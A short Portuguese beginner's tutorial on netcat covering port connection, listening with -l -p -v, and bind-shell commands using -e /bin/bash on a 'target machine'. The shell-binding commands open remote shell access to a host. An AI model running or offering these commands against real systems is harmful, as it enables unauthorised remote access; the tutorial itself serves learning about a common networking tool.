Netcat

O netcat é uma ferramenta incrivelmente versátil, com ela podemos abrir e monitorar portas TCP e forçar conexões UDP, além disso o Netcat pode ser usado para criar conexões com outroas máquinas inclusive mandando e recebendo arquivos, por essa versátilidade e por seu tamanho pequeno ele é conhecido como "Canivete Suiço".

Agora vamos ver alguns comandos para usar o Netcat:

Para usar o Netcat para monitorar uma porta de uma máquina específica basta digitar nc seguido do ip alvo e a sua porta:

```
nc 192.168.0.1 23
```

Observem o comando a seguir:

```
nc -l -p 23 -v
```

Vamos entender o que ele faz. A flag -l permite que nós monitoremos a porta escolhida, ou seja, com essa flag nós instruimos o a ferramenta a ficar "ouvindo" todas as conexões TCP e UDP feitas nessa porta, com a flag -p nós definimos a porta que queremos rodar o comando e a flag -v faz com a ferramenta nos mostre tudo o que está acontecendo naquele comando, logo quando alguma conexões for capturada com a flag -l nós poderemos ver usando a flag -v.

Usando a flag -e nós podemos nós podemos rodar scripts na máquina alvo, mas antes disso nós precisamos que a máquina alvo esteja com a porta aberta com o Netcat também do outro lado, quem sabe mais na frente eu mostre como fazer esta segunda parte. Vejamos um exemplo:

```
nc -p 23 -e /bin/bash

Ou

nc -l -p 23 -e /bin/bash -v
```

Observer que depois do -e nós precisamos definir qual a shell que iremos usar, isso vai pelo tipo de sistema que o computador alvo usa, se o computador alvo for linux nós usamos -e /bin/bash, vejam também que no segundo comando eu adicionei as flags anteriores -l e -v, eu recomendo vocês usarem sempre elas, pois dessa forma vocês conseguem ter uma melhor noção do que está rodando por baixo dos panos.

Caso você queira aprender mais comandos do Netcat você pode acessar: https://www.varonis.com/blog/netcat-commands/

jcesar_n

JulioCesarNSM